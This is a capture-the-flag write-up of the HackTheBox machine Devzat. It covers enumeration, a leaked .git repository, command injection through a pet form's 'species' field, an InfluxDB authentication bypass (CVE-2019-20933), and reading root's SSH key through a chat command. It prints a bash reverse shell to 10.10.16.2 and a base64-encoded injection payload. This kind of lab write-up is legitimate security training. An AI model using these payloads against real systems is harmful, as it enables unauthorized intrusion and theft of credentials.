d3vyce
095a13b2c9
Some checks failed
Build Blog Docker Image / build docker (push) Failing after 1m11s
208 lines
5.9 KiB
Markdown
208 lines
5.9 KiB
Markdown
---
|
||
title: "Writeup - Devzat (HTB)"
|
||
date: 2022-03-15
|
||
slug: "writeup-devzat-htb"
|
||
type: "writeup-ctf"
|
||
---
|
||
|
||
This is a writeup for the [Devzat](https://app.hackthebox.com/machines/Devzat) machine from the HackTheBox site.
|
||
|
||
## Enumeration
|
||
|
||
First, let's start with a scan of our target with the following command:
|
||
|
||
|
||
```bash
|
||
nmap -sV 10.10.11.118
|
||
```
|
||
Three TCP ports are discovered:
|
||
|
||
|
||
|
||
- 22/tcp : SSH port (OpenSSH 8.2p1)
|
||
- 80/tcp : HTTP web server (Apache 2.4.41)
|
||
- 8000/tcp : SSH
|
||
|
||
I add the domain to the /etc/hosts file:
|
||
|
||
|
||
```bash
|
||
10.10.11.118 devzat.htb
|
||
```
|
||
I then access the site via a browser:
|
||
|
||
|
||
|
||
## Exploit
|
||
|
||
After looking at the site I notice that a shell command is given as an example at the bottom of the page:
|
||
|
||
|
||
```bash
|
||
ssh -l [user_name] devzat.htb -p 8000
|
||
```
|
||
This command connects to the application hosted on port 8000.
|
||
|
||
|
||
|
||
This application is an interactive chat with a number of commands available:
|
||
|
||
|
||
|
||
Nothing particular for the moment. I make a directory scan on the site. For that I use "ffuf" with the wordlist [common.txt](http://ffuf.me/wordlists).
|
||
|
||
|
||
```bash
|
||
ffuf -c -u http://devzat.htb/FUZZ -w Documents/commun.txt
|
||
```
|
||
|
||
|
||
Several folders but quite classic one. Now let's scan the subdomains:
|
||
|
||
|
||
```bash
|
||
ffuf -c -u http://devzat.htb -w Documents/sub.txt -H "Host: FUZZ.devzat.htb" -fw 18
|
||
```
|
||
|
||
|
||
A subdomain is found ! I add it in the /etc/hosts file then I go to the site :
|
||
|
||
|
||
|
||
It is a web page with a formulary to add pets. Now let's scan the folders for this subdomain.
|
||
|
||
|
||
|
||
This is a git project with a number of files.
|
||
|
||
|
||
|
||
I will download the projects with the following command:
|
||
|
||
|
||
```bash
|
||
wget -r -np -R "index.html*" http://pets.devzat.htb/.git
|
||
```
|
||
I first check the last commit to see if any files have been modified or deleted:
|
||
|
||
|
||
|
||
And indeed a large number of files have been deleted, so I will restore the last commit with the following command:
|
||
|
||
|
||
```bash
|
||
git checkout -- .
|
||
```
|
||
|
||
|
||
Now that we have the complete tree, let's start the code analysis. Let's start with main.go.
|
||
|
||
I find in this file, a function related to the loading of the character of the pet animal. This function takes as argument the species. It then executes a "sh" command which retrieves the content of one of the files contained in the "characteristics" folder. We will be able to use this function to execute some code.
|
||
|
||
|
||
|
||
For that I make a classic request that I intersperse with Burp.
|
||
|
||
|
||
|
||
Then I modify the value of "species" to insert my code. I test at first a classical reverse shell, but without success.
|
||
|
||
|
||
|
||
Let's try to convert our command to Base64 to ensure that there is no modification before execution on the target machine.
|
||
|
||
[Reverse Shells - Pentest Book](https://pentestbook.six2dez.com/exploitation/reverse-shells)
|
||
|
||
For that I use the following command to encode my reverse shell command in base64.
|
||
|
||
|
||
```bash
|
||
echo "bash -i >& /dev/tcp/10.10.16.2/1234 0>&1" | base64
|
||
```
|
||
Then I transmit the following order in the form.
|
||
|
||
|
||
```bash
|
||
echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4yLzEyMzQgMD4mMQo=' | base64 -d | bash
|
||
```
|
||
Bingo, I am now connected as Patrick.
|
||
|
||
|
||
|
||
No change it's not this user who has the first flag. I will have to find a way to change the user. To start, I'll run the [linPeas](http://linpeas.sh) script to get an overview of the machine.
|
||
|
||
The first thing that catches my attention is the number of open ports.
|
||
|
||
|
||
|
||
Indeed there are a number of ports open only locally on the machine. So I will do an ssh port forwarding.
|
||
|
||
|
||
```bash
|
||
ssh -L 8086:127.0.0.1:8086 -N patrick@10.10.11.118
|
||
```
|
||
I can then perform an nmap scan on my local address to identify the service running on port 8086.
|
||
|
||
|
||
|
||
It is the InfluxDB service in version 1.7.5 that runs on this port. Let's look for an exploit...
|
||
|
||
After some research I found the CVE-2019-20933. It is an exploit that allows to get an admin access to the database without using a password. I use the following script:
|
||
|
||
{{< github repo="LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933" >}}
|
||
|
||
I will now be able to search for information in the different databases. At first I look for the registered users :
|
||
|
||
|
||
|
||
I find the user "catherine" with her password. This is a very good news, indeed it is her who has the first flag.
|
||
|
||
|
||
|
||
I connect with ssh, then I get the flag.
|
||
|
||
## Privilege escalation
|
||
|
||
In the linPeas scan result I also noticed that a "devchat" service was running with patrick rights. It looks like a test version running on port 8443 in parallel with the production version.
|
||
|
||
|
||
```bash
|
||
catherine@devzat:~/dev/dev$ ps aux | grep dev
|
||
[...]
|
||
patrick 839 0.0 0.5 1085916 11904 ? Sl 12:28 0:00 ./devchat
|
||
[...]
|
||
```
|
||
I also found backup files related to this same service:
|
||
|
||
|
||
|
||
These are files belonging to catherine, good news I will be able to recover them and analyze them to find an exploit.
|
||
|
||
In the file "commands.go", I quickly find that the command /file uses a password to work. And this password is clearly indicated.
|
||
|
||
|
||
|
||
Ok let's try the different things we discovered.
|
||
|
||
I log back in as patrick, then start a local SSH session on 8443.
|
||
|
||
|
||
|
||
Let's try to read a root file with the command /file and with the password found previously. I test with the file id\_rsa of the user root.
|
||
|
||
|
||
|
||
It works! So now I can connect as root with ssh. Then get the last flag.
|
||
|
||
|
||
|
||
## Recommendations
|
||
|
||
To patch this host I think it would be necessary to perform a number of actions:
|
||
|
||
- Do not leave .git accessible on a website
|
||
- Do not use shell commands in functions used by forms accessible on a web site
|
||
- Do not store non-hasher passwords in a database
|
||
- Update InfluxDB
|
||
- Do not run the chat bot with root privileges
|